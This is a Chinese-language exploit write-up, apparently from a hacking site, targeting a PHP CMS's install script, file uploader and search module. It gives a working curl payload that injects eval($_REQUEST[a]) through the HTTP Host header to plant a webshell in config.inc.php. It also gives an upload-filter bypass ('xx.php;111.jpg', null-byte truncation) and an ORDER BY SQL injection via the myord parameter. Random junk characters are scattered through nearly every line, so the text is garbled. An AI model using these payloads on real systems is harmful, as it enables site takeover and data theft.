注入:
3 \. ]' ?) u% i. u/ w# |% W
3 m$ t: H& l# f7 k/ ~% G之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码# t' T V" O& k) r
+ q9 G5 Z( J+ l, E! H5 V鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件2 Y4 l4 k+ u; X( f8 @" N! {
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
, L9 W$ N* c3 }! }) g$ T6 r
4 R8 f# o* r; d* H( n% U虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
* j) i$ H6 @$ ~8 E
! R) D4 g; C2 R# F分析:
) M Q9 X7 y1 v; M* e8 E
- M* b n7 j. g& ?3 ]* L; c1 C
/ z# T1 d: t5 x+ ^: m/ F$ U$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
w" F+ s, t0 `
" w* @- g9 y' a7 s3 v; ]: w $filestr = fread(fopen($SysConfigFile, 'r'),30000);
9 s% Q) z8 E7 a0 b* i$ B2 Z $filestr=str_replace(" ","",$filestr);
+ l9 O1 ?9 d) N) L" m $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 f: K# H [9 C6 y- k8 \ $filestr=str_replace("DefaultDbName",$dbname,$filestr);5 U+ I! p2 ^6 p
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
* J7 J3 m( N/ y! } $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr); f6 ?! n% g1 p9 u
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ o: ?9 z' B1 o0 V $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);8 M* _$ V5 X* N$ V
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
% q, K4 h9 _5 Z5 U" a5 } 9 p2 R* r; s( c* D6 }
fwrite(fopen($ConFile,"w"),$filestr,30000);
; c+ D- U0 K; n* G% d$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^ h* w- R: Q7 i5 }1 k
" }* ?# O7 R$ }/ @& D8 _8 Lpoc:9 ?: M) {/ Q6 c/ r
8 O# @* v [2 ]3 s9 z; `! C# K6 N7 M
?0 x4 R9 e7 M- u Z9 h; w
1: }: o; |) D% q3 h* a! m
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
P2 p- |: `; L6 _# t+ q' Qshell地址: /config.inc.php
/ ~* c! l; g) h: |1 T. R# n跟之前的 phpcms一样 需要远程数据库
# s( ?/ x5 |, q
% d+ I. @/ v! \5 ]——————————————————–
7 U6 U( i4 X. i0 [5 x+ [上传漏洞(需要进后台):: E( D* e" B4 P9 Z7 B
漏洞文件: /kedit/upload_cgi/upload.php5 _+ |% F0 U& J3 {! w+ ~
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用. k: o7 c; {4 ^: f
, R$ {' k6 f$ {, |$ O, H, m
# }9 Q1 g. |0 ?1 ^/ D5 {$ v<?php
( F) \2 U' v | ~, l define("ROOTPATH", "../../");' B; E2 U- B9 Y% }
include(ROOTPATH."includes/admin.inc.php");
, b7 m$ I5 k, P) o NeedAuth(0);. B z) s" o0 `) o: i4 j/ D( y" T
& i+ c) K& y6 O& _! i2 l% k5 T+ O $dt=date("Ymd",time());' h, r0 \( R$ O1 B: ]. O( n/ r
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
4 o& m5 \' {( W: H* A& x1 z' @4 O3 O @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 j& c8 R" g d: {( ~$ h }
3 V1 ~0 H2 F7 Y+ ^+ U
( Z+ ~9 y6 V/ V: O( Q' @ //文件保存目录路径- Q$ a* M. ]1 I& U
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( E% h) {9 S+ L3 S: U; F
echo $save_path;' k0 r' H; ]8 L: l) _8 {2 @
//文件保存目录URL
/ H O/ R5 W+ q2 N $save_url = '../../'.$_POST['attachPath'].$dt.'/';
& K1 a9 b5 f* s7 P8 l& |+ _: i. _
; Z2 c' `% {8 @+ E4 ^% K; B# P5 ] //定义允许上传的文件扩展名) Z3 K- A1 x) P% _2 ~
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
! b( H$ L g" t" d7 }1 ?: A * f, b9 [/ V' D' G# s
//最大文件大小
q1 m( i: Q$ ^: D6 h' `5 C5 f $max_size = 1000000;2 `2 i4 o0 U/ m3 l) [
& M) g9 Y% T r9 q( \2 _7 y: G( W- y //更改目录权限$ `9 Y# ]1 _- X
@mkdir($save_path, 0777);: F5 a/ }7 I' ~8 k7 {" `! g( H
C: `' F) n* B
//文件的全部路径' B' E3 k4 ~7 @. V/ ?
$file_path = $save_path.$_POST['fileName']; //保存文件名: a& m9 {. T8 R" Z' e6 z
5 Y A- U2 W5 K1 q7 p
//文件URL4 z# I( t6 H* t. b. A: S% s* i
$file_url = $save_url.$_POST['fileName'];. V# {1 f# K0 g4 p- |. n
//有上传文件时" W$ Z3 j0 Z; x) a# O$ e' d0 c4 x
if (empty($_FILES) === false) {
9 R7 }) j2 k3 T6 V ' w7 y6 b$ C! C V! J
//原文件名1 [ _. s7 L1 f; ]- u I
$file_name = $_FILES['fileData']['name'];
- `/ R3 {- c* r/ ` //服务器上临时文件名% r/ S9 Y2 ]1 q J8 C. V2 [0 \
$tmp_name = $_FILES['fileData']['tmp_name'];
( I8 V9 J! Q/ `3 M0 i //文件大小
3 {) N3 R6 d; k1 s, W" J $file_size = $_FILES['fileData']['size'];
! x, J& }% _, Q! B //检查目录# r u# M7 ` j+ o% n! q
if (@is_dir($save_path) === false) {
& _$ O3 H: {2 ^& V& u, f alert("上传目录不存在。");1 h$ E4 a$ y( V7 T& I5 m5 j
}
+ m' M% ?+ O' X, R, P //检查目录写权限
( ^* g+ \2 T; y7 M if (@is_writable($save_path) === false) {
6 t9 I% z4 X# h- d alert("上传目录没有写权限。");
8 [2 q8 I# d! W$ ?0 y }9 n" j B2 `0 Z5 A8 S
//检查是否已上传( z" W1 j+ m A3 H" o& o, f
if (@is_uploaded_file($tmp_name) === false) { n# k# F6 h3 ^. w( t* D, N
alert("临时文件可能不是上传文件。");
0 E' S& e* ^0 M: w$ |4 s6 r! I }+ e u% m& ~4 B% M6 d9 q
//检查文件大小
; K) A8 G. w4 E% s9 e if ($file_size > $max_size) {3 m% ^, C. N* N3 b& Y* X( L v/ ]
alert("上传文件大小超过限制。");! l" l" e) R# e8 s% P7 Q' S; D
}, s, E" ]8 Q0 M! k( O
//获得文件扩展名
: Y2 f0 g: M* Z- I9 i $temp_arr = explode(".", $_POST['fileName']);' \1 ~ t. S: K
$file_ext = array_pop($temp_arr);' i, L* o* Z4 j- u% f9 i
$file_ext = trim($file_ext);
- p; f) ?4 m9 V, m8 G $file_ext = strtolower($file_ext);. v C9 G6 W" i) A" t
5 g4 ]2 _0 f5 {7 ~6 _+ `
//检查扩展名 7 w4 s% v9 ]: i8 P
if (in_array($file_ext, $ext_arr) === false) {
2 d( H. U3 n( A# c alert("上传文件扩展名是不允许的扩展名。");4 C$ P; d% G8 I( Q8 L6 I# B
}
% y; I: g3 D( B* F2 C; t7 b% A
$ w6 U7 _$ Z$ w& t //移动文件
8 K% A5 L2 }0 t$ s& \7 t //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^* H- ^: k. e# m7 i3 s1 ]! E
if (move_uploaded_file($tmp_name, $file_path) === false) {$ P1 |3 l E( t4 l5 o5 d- b. U: A: H
alert("上传文件失败。");
1 @) O# x% ]! K$ a! [9 P" \ }
# w9 q- f! ^. \" @, J
% X+ O) W% } W* B& M# j" B @chmod($file_path,0666);
, m O4 i: W5 W! i3 V. d3 V+ C & I$ m2 [# h* X5 R# u& }8 L8 B) B# q
?>
' N- M8 R+ O% {抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
. n8 g; V( N6 o, L - ?7 y! Z# e8 Z& Y9 \& D5 O
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
: `* h7 _7 E3 |# h9 D 8 t4 |6 D) ~/ u1 h9 k( x
——————————————————4 f @: J2 M8 C2 a
注入漏洞:
# p2 B; `- b6 J6 G漏洞文件:search/module/search.php
) l; E0 z) q/ v! ~6 g. O2 e/search/index.php?key=1&myord=1 [sqlinjection]
. s f% s9 x9 E
) f2 J" _0 I; U5 K
& b9 v& j5 X" C<?php+ y1 Z& T- l d; O% |" b) @
// ... 省略 n 行.../ G, q2 T5 {1 Z, k; c0 B
//第18行:
8 ]/ E! m; e7 c $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
7 d1 w0 D# g" N5 ] $page=htmlspecialchars($_GET["page"]);
) E' w: }7 I, R' [" ~ $myord=htmlspecialchars($_GET["myord"]);
; x7 x( c8 C# W! L* q$ g6 W 3 Y" h! Y+ z% ]# H
// ... 省略 n 行...
7 D! A- l4 O) M' _: o $key,$myord 两个参数带入查询# O/ v+ q+ M+ m9 @
//第47行 $key:$ w- S8 S4 m2 m& J. m
+ l: w+ E; q9 j( W
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过.., }3 T# M" A$ M2 M7 _
0 H% d6 K3 ~3 Z5 Z0 E- H% J //第197行 $myord
4 |$ Z7 A/ E: E1 p, Z $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
/ {: x" R# Q a8 @9 U# } 7 x; v3 x7 u+ ?3 I( w
?>) w' C5 w% m) i( w& f9 ^; S) W$ p/ K
|